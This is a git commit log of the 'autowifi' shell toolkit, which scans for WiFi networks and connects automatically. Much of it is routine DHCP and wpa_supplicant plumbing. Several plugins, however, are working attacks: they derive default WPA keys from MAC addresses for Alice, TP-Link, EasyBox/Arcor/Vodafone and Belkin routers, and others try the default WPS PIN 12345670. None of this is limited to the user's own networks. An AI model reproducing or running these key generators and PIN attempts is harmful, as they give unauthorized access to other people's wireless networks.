Subject: easybox comes in many flavours ! --- usr/lib/autowifi/plugins/02easybox | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox index e5323977..2126e17c 100755 --- a/usr/lib/autowifi/plugins/02easybox +++ b/usr/lib/autowifi/plugins/02easybox @@ -1,6 +1,6 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo $1 | grep -qi Easybox; then +if ! echo "$1" | egrep -qi "(EasyBox-|Arcor-|Vodafone-)"; then exit 1 else MAC=${2?\$2 must be MAC} -- cgit v1.2.3 From 20b1c6c2158fb12b6422c170d4a2a0f402864308 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 20:30:41 +0200 Subject: finish refactoring new wpa_supplicant autowifi --- usr/lib/autowifi/lib/core | 20 ++++++++++++ usr/lib/autowifi/lib/network | 21 +++++++++++++ usr/lib/autowifi/lib/plugin_core | 4 +-- usr/lib/autowifi/lib/wpa_supplicant | 56 ++++++++++++++++++++++++++++++++++ usr/lib/autowifi/lib/wps | 19 +++++++----- usr/lib/autowifi/plugins/00profile | 2 +- usr/lib/autowifi/plugins/01open | 4 +-- usr/lib/autowifi/plugins/30default_wps | 13 +++++++- 8 files changed, 125 insertions(+), 14 deletions(-) create mode 100644 usr/lib/autowifi/lib/core create mode 100644 usr/lib/autowifi/lib/wpa_supplicant (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/core b/usr/lib/autowifi/lib/core new file mode 100644 index 00000000..80ae75b4 --- /dev/null +++ b/usr/lib/autowifi/lib/core @@ -0,0 +1,20 @@ +#!/bin/sh + +exists() { type "$1" >/dev/null 2>/dev/null; } + +run_hooks(){ + # (interface|profile) (pre|post) + typ=$1 + action=$2 + shift;shift + : ${interface?please provide interface} + if [ "$typ" = "interface" ];then + path=interface/$interface/$action + else + path=profile/$2/$action + fi + for hook in $(find "$root/etc/autowifi/hooks/$path" -type f 2>/dev/null | sort -u ); do + $hook "$@" + done +} + diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index 1b105f85..fd7e3b5a 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -1,4 +1,5 @@ #!/bin/sh + check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } @@ -10,3 +11,23 @@ check_internet(){ return 1 fi } + +check_bandwidth(){ + echo $(curl ftp://ftp.microsoft.com/Products/mspress/library/ANIMAT.ZIP -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//') +} + +ip_start(){ + : ${interface?interface variable not set} ${1?please provide method to start ip} + # usage: method [extra parms] + case "$1" in + dhcp) + if exists dhcpcd; then + dhcpcd -x $interface + dhcpcd -w -A $interface + elif exists dhclient; then + dhclient -x $interface + dhclient $interface + fi ;; + *) echo "do not know ip starter $1";; + esac +} diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core index 025d9dbd..da003350 100644 --- a/usr/lib/autowifi/lib/plugin_core +++ b/usr/lib/autowifi/lib/plugin_core @@ -1,12 +1,10 @@ parse_plugin_args(){ - [ $# -ne 6 ] && plugin_usage && exit 1 + [ $# -ne 4 ] && plugin_usage && exit 1 # convenience function to put args in ENV variables ESSID="$1" MAC="$2" CHANNEL="$3" ENC="$4" - WPA="$5" - WPA2="$6" if [ ${#MAC} -ne 17 ] ;then echo "MAC malformed" exit 1 diff --git a/usr/lib/autowifi/lib/wpa_supplicant b/usr/lib/autowifi/lib/wpa_supplicant new file mode 100644 index 00000000..28c327e9 --- /dev/null +++ b/usr/lib/autowifi/lib/wpa_supplicant @@ -0,0 +1,56 @@ +#!/bin/sh +start_wpa_supplicant(){ + wpa_conf=${1?please supply wpa_supplicant.conf path} + killall wpa_supplicant + sleep 1 +cat>$wpa_conf</dev/null + sleep 10 + + wpa_cli scan_results 2>/dev/null | grep -E "^??:" | sed 's/ / /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID + do + : $((count+=1)) + print_wifi_env + + done; echo WIFI_COUNT=$count) +} + +print_wifi_env(){ + # takes environment: + # MAC + # FREQ + # QUALITY + # ENCRYPTION + # ESSID + for i in MAC FREQ QUALITY ENCRYPTION ESSID;do + eval echo ${i}_${count}=\\\"\$"${i}"\\\" + done +} diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 668bbbff..9fa01801 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -1,5 +1,8 @@ #!/bin/sh - +has_wps(){ + # the-wpa_supplicant-encryption-string + echo "$1" | grep -q "\[WPS\]" +} try_wps_pin(){ # # ESSID MAC CHANNEL ENC WPA WPA2 PIN @@ -7,14 +10,16 @@ try_wps_pin(){ ESSID="$1" MAC="$2" CHANNEL="$3" + + # TODO refactor to use all the encryption + # the wpa_supplicant encryption string ENC="$4" - WPA="$5" - WPA2="$6" - PIN="$7" - [ "$ENC" == off ] && return 2 - WPA_CONF=/tmp/wpa.conf - WPA_LOG=/tmp/wpa.log + PIN="$5" + + [ "$ENC" = "[ESS]" ] && return 2 + WPA_CONF=/tmp/wpa_trywps.conf + WPA_LOG=/tmp/wpa_trywps.log rm $WPA_LOG #mkfifo $WPA_LOG killall wpa_supplicant 2>/dev/null && sleep 1 diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile index fdba2c9e..d7fb9c75 100755 --- a/usr/lib/autowifi/plugins/00profile +++ b/usr/lib/autowifi/plugins/00profile @@ -3,7 +3,7 @@ # ENV: # root (default: /) root=${root:-/} -cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC KEY; do +cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then echo $KEY exit 0 diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open index f3b9640c..881f47ea 100755 --- a/usr/lib/autowifi/plugins/01open +++ b/usr/lib/autowifi/plugins/01open @@ -1,6 +1,6 @@ #!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if [ "$4" == "off" ]; then +#ESSID MAC CHANNEL ENCRYPTION +if [ "$4" == "[ESS]" ]; then exit 0 fi exit 1 diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps index 98be6a66..7f66d117 100755 --- a/usr/lib/autowifi/plugins/30default_wps +++ b/usr/lib/autowifi/plugins/30default_wps @@ -3,4 +3,15 @@ # http://www.wotan.cc/?p=75 cd $(dirname $(readlink -f $0)) . ../lib/wps -try_wps_pin "$@" 12345670 +. ../lib/plugin_core + +parse_plugin_args "$@" +DEFAULT_PIN="${DEFAULT_PIN:-12345670}" + +if has_wps "$ENC"; then + echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 + try_wps_pin "$@" $DEFAULT_PIN +else + echo "Network $ESSID not WPS enabled" >&2 + exit 1 +fi -- cgit v1.2.3 From 65076d80e493603f7e58fd5f519cb2e2f7198eb7 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 20:50:50 +0200 Subject: fix check_bandwidth --- usr/lib/autowifi/lib/network | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index fd7e3b5a..32ecafc4 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -13,7 +13,7 @@ check_internet(){ } check_bandwidth(){ - echo $(curl ftp://ftp.microsoft.com/Products/mspress/library/ANIMAT.ZIP -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//') + echo $(curl http://www.microsoft.com/africa/4afrika/images/infographic.gif -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//') } ip_start(){ -- cgit v1.2.3 From 8e7e5989f82f9722a52ac79511e3eee0964098dc Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:21:25 +0200 Subject: check_internet is less verbose now --- usr/lib/autowifi/lib/network | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index 32ecafc4..aabac89b 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -4,7 +4,7 @@ check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ - secret=$(wget -O- http://krebsco.de/secret) + secret=$(wget -O- http://krebsco.de/secret 2>/dev/null) if [ "$secret" == "1337" ]; then return 0 else -- cgit v1.2.3 From 2ffb00bd97e0e8b47dc1def6f47ebc5295107360 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:21:47 +0200 Subject: add check_wpa_supplicant_is_usable --- usr/lib/autowifi/lib/wpa_supplicant | 3 +++ 1 file changed, 3 insertions(+) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wpa_supplicant b/usr/lib/autowifi/lib/wpa_supplicant index 28c327e9..a854d7ca 100644 --- a/usr/lib/autowifi/lib/wpa_supplicant +++ b/usr/lib/autowifi/lib/wpa_supplicant @@ -54,3 +54,6 @@ print_wifi_env(){ eval echo ${i}_${count}=\\\"\$"${i}"\\\" done } +wpa_supplicant_is_usable(){ + wpa_cli status >/dev/null 2>&1 +} -- cgit v1.2.3 From 06e5754372f036c3a4b5a3a549db36a8fed066ff Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:26:41 +0200 Subject: merge curl and wget --- usr/lib/autowifi/lib/network | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index aabac89b..a9e30739 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -4,7 +4,7 @@ check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ - secret=$(wget -O- http://krebsco.de/secret 2>/dev/null) + secret=$(curl http://krebsco.de/secret 2>/dev/null) if [ "$secret" == "1337" ]; then return 0 else -- cgit v1.2.3 From 7221f3a13a9862c65238c5e7bf31a3356cf46b27 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:54:09 +0200 Subject: add interface for wpa_supplicant --- usr/lib/autowifi/lib/wpa_supplicant | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wpa_supplicant b/usr/lib/autowifi/lib/wpa_supplicant index a854d7ca..234c0898 100644 --- a/usr/lib/autowifi/lib/wpa_supplicant +++ b/usr/lib/autowifi/lib/wpa_supplicant @@ -6,7 +6,7 @@ start_wpa_supplicant(){ cat>$wpa_conf< Date: Wed, 26 Jun 2013 13:09:44 +0200 Subject: refactor vendor matcher --- usr/lib/autowifi/lib/plugin_core | 26 ++++++++++++++++++++------ usr/lib/autowifi/plugins/11belkin_wps | 9 ++------- 2 files changed, 22 insertions(+), 13 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core index da003350..1b83b0c3 100644 --- a/usr/lib/autowifi/lib/plugin_core +++ b/usr/lib/autowifi/lib/plugin_core @@ -1,24 +1,38 @@ +#!/bin/sh parse_plugin_args(){ [ $# -ne 4 ] && plugin_usage && exit 1 # convenience function to put args in ENV variables ESSID="$1" - MAC="$2" + + # mac is returned without colon + MAC=$(printf "%s" "$2" | sed 's/://g') + # split up the mac address to vendor and private part + VENDOR_MAC=${MAC:0:6} + PRIVATE_MAC=${MAC:6:12} CHANNEL="$3" ENC="$4" - if [ ${#MAC} -ne 17 ] ;then + if [ ${#MAC} -ne 12 ] ;then echo "MAC malformed" exit 1 fi } plugin_usage(){ cat << EOF -usage: $0 ESSID MAC CHANNEL ENC WPA WPA2" +usage: $0 ESSID MAC CHANNEL ENC" ESSID - string MAC - 00:11:22:33:44:55 - ENC - on | off - WPA - 0 | 1 - WPA2 - 0 | 1 + CHANNEL - 4 + ENC - wpa EOF } + +check_vendor_mac(){ + needle="$(printf $1 | tr '[A-Z]' '[a-z]')" + shift + for i in "$@";do + [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0 + done + return 1 +} diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 82140523..65e08624 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -15,13 +15,8 @@ cd $(dirname $(readlink -f $0)) . ../lib/wps parse_plugin_args "$@" -MAC=$(printf "%s" $MAC| sed 's/://g') -VENDOR_MAC=${MAC:0:6} -PRIVATE_MAC=${MAC:6:12} -if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then - echo "VENDOR MAC $VENDOR_MAC not affected" - exit 1 -fi + +! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 calc_belkin(){ PRIVATE_MAC=${1} -- cgit v1.2.3 From b72b8a29dcfaf22554ebcf7d5e19bc7f28f49862 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 26 Jun 2013 13:11:59 +0200 Subject: add alicebox default wpa key generator --- usr/lib/autowifi/plugins/02alice | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100755 usr/lib/autowifi/plugins/02alice (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice new file mode 100755 index 00000000..1b4533a4 --- /dev/null +++ b/usr/lib/autowifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 -- cgit v1.2.3 From 9fe9479fcaf843edd262acc28ad4bd71f475a246 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 26 Jun 2013 14:00:11 +0200 Subject: 02easybox uses plugin_core now --- usr/lib/autowifi/plugins/02easybox | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox index 2126e17c..3d7cb8c1 100755 --- a/usr/lib/autowifi/plugins/02easybox +++ b/usr/lib/autowifi/plugins/02easybox @@ -1,21 +1,20 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo "$1" | egrep -qi "(EasyBox-|Arcor-|Vodafone-)"; then - exit 1 -else - MAC=${2?\$2 must be MAC} - # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core +parse_plugin_args "$@" - take5=${MAC:12} - last4=${take5/:/} +if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then + echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" + exit 1 +else # Fill up to 4 places with zeros, if necessary: - deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') - #echo M4: ${deci[@]} + deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g') # # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: - hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + hexi=$(echo ${MAC:8:4} | sed 's/./& /g') #echo 'M4 (Hex): ' ${hexi[@]} # K1 = last byte of (d0 + d1 + h2 + h3) # K2 = last byte of (h0 + h1 + d2 + d3) -- cgit v1.2.3 From fee2556cbbe8bfd3ac0e965baa36c39386c8605a Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 6 Jul 2013 00:50:56 +0200 Subject: wpa_supplicant: fix broken regex i wonder how this ever worked at all --- usr/lib/autowifi/lib/wpa_supplicant | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wpa_supplicant b/usr/lib/autowifi/lib/wpa_supplicant index 234c0898..df9c2155 100644 --- a/usr/lib/autowifi/lib/wpa_supplicant +++ b/usr/lib/autowifi/lib/wpa_supplicant @@ -35,7 +35,7 @@ wifi_scan(){ wpa_cli scan >/dev/null sleep 10 - wpa_cli scan_results 2>/dev/null | grep -E "^??:" | sed 's/ / /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID + wpa_cli scan_results 2>/dev/null | egrep "^..:" | sed 's/ / /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID do : $((count+=1)) print_wifi_env -- cgit v1.2.3 From 5c89d8857a193ddc6cc28a8f1f0001ea552f2c4d Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 6 Jul 2013 01:28:24 +0200 Subject: add support for udhcpc which is used by openwrt --- usr/lib/autowifi/lib/network | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index a9e30739..eb317b84 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -27,7 +27,9 @@ ip_start(){ elif exists dhclient; then dhclient -x $interface dhclient $interface + elif exists udhcpc; then + udhcpc -n -i $interface fi ;; - *) echo "do not know ip starter $1";; + *) echo "do not know ip starter $1" >&2;; esac } -- cgit v1.2.3 From bdfe4a9e0a9728448c44bc535f966fdd5b102f58 Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 6 Jul 2013 01:36:44 +0200 Subject: change loader to wget TODO implement script which determines the loader available --- usr/lib/autowifi/lib/network | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index eb317b84..2d10f3e0 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -4,8 +4,10 @@ check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ - secret=$(curl http://krebsco.de/secret 2>/dev/null) + # TODO determine the loader, either wget or curl + secret=$(wget -O- http://krebsco.de/secret 2>/dev/null) if [ "$secret" == "1337" ]; then + echo "cannot load secret or secret incorrect" >&2 return 0 else return 1 -- cgit v1.2.3 From 3541ac3154d5e23583054b2ef40a8d918203a33d Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 6 Jul 2013 01:51:19 +0200 Subject: update support for udhpc --- usr/lib/autowifi/lib/network | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index 2d10f3e0..820ccad6 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -30,7 +30,9 @@ ip_start(){ dhclient -x $interface dhclient $interface elif exists udhcpc; then - udhcpc -n -i $interface + PIDFILE=/var/run/udhcpc-${interface}.pid + [ -e $PIDFILE ] && kill `cat $PIDFILE` ||: + udhcpc -n -i $interface -s /lib/netifd/dhcp.script -C -p /var/run/udhcpc-${interface}.pid fi ;; *) echo "do not know ip starter $1" >&2;; esac -- cgit v1.2.3 From 99762c1f22ece68c5fa22271de14d56045f0ed6f Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 6 Jul 2013 02:20:51 +0200 Subject: add optware for udhcpc --- usr/lib/autowifi/lib/network | 3 +- usr/lib/autowifi/opt/udhcpc.run | 70 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+), 1 deletion(-) create mode 100755 usr/lib/autowifi/opt/udhcpc.run (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index 820ccad6..5394e7c9 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -32,7 +32,8 @@ ip_start(){ elif exists udhcpc; then PIDFILE=/var/run/udhcpc-${interface}.pid [ -e $PIDFILE ] && kill `cat $PIDFILE` ||: - udhcpc -n -i $interface -s /lib/netifd/dhcp.script -C -p /var/run/udhcpc-${interface}.pid + udhcpc -n -p $PIDFILE -i $interface -s \ + "$root/usr/lib/autowifi/opt/udhcpc.run" fi ;; *) echo "do not know ip starter $1" >&2;; esac diff --git a/usr/lib/autowifi/opt/udhcpc.run b/usr/lib/autowifi/opt/udhcpc.run new file mode 100755 index 00000000..2e1b919f --- /dev/null +++ b/usr/lib/autowifi/opt/udhcpc.run @@ -0,0 +1,70 @@ +#!/bin/sh +# shamelessly stolen from http://www.doit.org/udhcpc/S50default + +PATH=/bin:/usr/bin:/sbin:/usr/sbin + +RESOLV_CONF="/etc/resolv.conf" + +update_interface() +{ + [ -n "$broadcast" ] && BROADCAST="broadcast $broadcast" + [ -n "$subnet" ] && NETMASK="netmask $subnet" + ifconfig $interface $ip $BROADCAST $NETMASK +} + +update_routes() +{ + if [ -n "$router" ] + then + echo "deleting routes" + while route del default gw 0.0.0.0 dev $interface + do : + done + + for i in $router + do + route add default gw $i dev $interface + done + fi +} + +update_dns() +{ + echo -n > $RESOLV_CONF + [ -n "$domain" ] && echo domain $domain >> $RESOLV_CONF + for i in $dns + do + echo adding dns $i + echo nameserver $i >> $RESOLV_CONF + done +} + +deconfig() +{ + ifconfig $interface 0.0.0.0 +} + +case "$1" in + bound) + update_interface; + update_routes; + update_dns; + ;; + + renew) + update_interface; + update_routes; + update_dns; + ;; + + deconfig) + deconfig; + ;; + + *) + echo "Usage: $0 {bound|renew|deconfig}" + exit 1 + ;; +esac + +exit 0 -- cgit v1.2.3 From 7356d022cab45297c2aadeaa02834a354daf1c66 Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 6 Jul 2013 02:39:47 +0200 Subject: fix error message when being connected to the interwebs --- usr/lib/autowifi/lib/network | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index 5394e7c9..c21f0db0 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -7,9 +7,9 @@ check_internet(){ # TODO determine the loader, either wget or curl secret=$(wget -O- http://krebsco.de/secret 2>/dev/null) if [ "$secret" == "1337" ]; then - echo "cannot load secret or secret incorrect" >&2 return 0 else + echo "cannot load secret or secret incorrect" >&2 return 1 fi } -- cgit v1.2.3 From c0ed79350e3202fce841cb2cda337b8ecdf52b1c Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 29 Jul 2013 09:45:21 +0200 Subject: add tp-link default wpa key implementation --- usr/lib/autowifi/plugins/02tplink | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100755 usr/lib/autowifi/plugins/02tplink (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/02tplink b/usr/lib/autowifi/plugins/02tplink new file mode 100755 index 00000000..b2b96f95 --- /dev/null +++ b/usr/lib/autowifi/plugins/02tplink @@ -0,0 +1,17 @@ +#!/bin/sh +# Implementation of TP-Link default WPA Key +# Based on +# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 + +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1 +! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1 + + +# printf always makes string to lower, need that for correct md5sum +printf ${MAC:4:12} +exit 0 -- cgit v1.2.3 From 7823e04b4b3f83f1efcc60f11892714b208db96c Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 27 Sep 2013 01:00:45 +0200 Subject: implement painmode --- usr/lib/autowifi/lib/plugin_core | 3 +++ usr/lib/autowifi/plugins/11belkin_wps | 1 + usr/lib/autowifi/plugins/30default_wps | 1 + 3 files changed, 5 insertions(+) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core index 1b83b0c3..700d15f8 100644 --- a/usr/lib/autowifi/lib/plugin_core +++ b/usr/lib/autowifi/lib/plugin_core @@ -36,3 +36,6 @@ check_vendor_mac(){ done return 1 } +check_painmode(){ + test -n "${painmode:-}" && echo "painmode required">&2 && exit 1 +} diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 65e08624..d4eb8e37 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -15,6 +15,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/wps parse_plugin_args "$@" +check_painmode ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps index 7f66d117..ee7195e0 100755 --- a/usr/lib/autowifi/plugins/30default_wps +++ b/usr/lib/autowifi/plugins/30default_wps @@ -6,6 +6,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/plugin_core parse_plugin_args "$@" +check_painmode DEFAULT_PIN="${DEFAULT_PIN:-12345670}" if has_wps "$ENC"; then -- cgit v1.2.3 From 39d6a2fb1ee0f714e893f8247c19651a583a3ba7 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 27 Sep 2013 01:50:07 +0200 Subject: fixed autowifi_dryrun & fixed painmode --- usr/lib/autowifi/lib/network | 2 +- usr/lib/autowifi/lib/plugin_core | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network index c21f0db0..a0105120 100644 --- a/usr/lib/autowifi/lib/network +++ b/usr/lib/autowifi/lib/network @@ -1,7 +1,7 @@ #!/bin/sh check_gateway(){ - ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') + ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') >/dev/null } check_internet(){ # TODO determine the loader, either wget or curl diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core index 700d15f8..e79a3c05 100644 --- a/usr/lib/autowifi/lib/plugin_core +++ b/usr/lib/autowifi/lib/plugin_core @@ -37,5 +37,5 @@ check_vendor_mac(){ return 1 } check_painmode(){ - test -n "${painmode:-}" && echo "painmode required">&2 && exit 1 + test -z "${painmode:-}" && echo "painmode required" && exit 1 } -- cgit v1.2.3 From 0077e1839cda806e2285bea1ca223dbaf670e4ef Mon Sep 17 00:00:00 2001 From: makefu Date: Fri, 27 Sep 2013 02:22:15 +0200 Subject: make 30default_wps less verbose fix lib/wps posix compatibility by using == instead of = --- usr/lib/autowifi/lib/wps | 2 +- usr/lib/autowifi/plugins/30default_wps | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 9fa01801..5e9bbda7 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -17,7 +17,7 @@ try_wps_pin(){ PIN="$5" - [ "$ENC" = "[ESS]" ] && return 2 + [ "$ENC" == "[ESS]" ] && return 2 WPA_CONF=/tmp/wpa_trywps.conf WPA_LOG=/tmp/wpa_trywps.log rm $WPA_LOG diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps index ee7195e0..50ad2676 100755 --- a/usr/lib/autowifi/plugins/30default_wps +++ b/usr/lib/autowifi/plugins/30default_wps @@ -13,6 +13,6 @@ if has_wps "$ENC"; then echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 try_wps_pin "$@" $DEFAULT_PIN else - echo "Network $ESSID not WPS enabled" >&2 + echo "Network $ESSID not WPS enabled" exit 1 fi -- cgit v1.2.3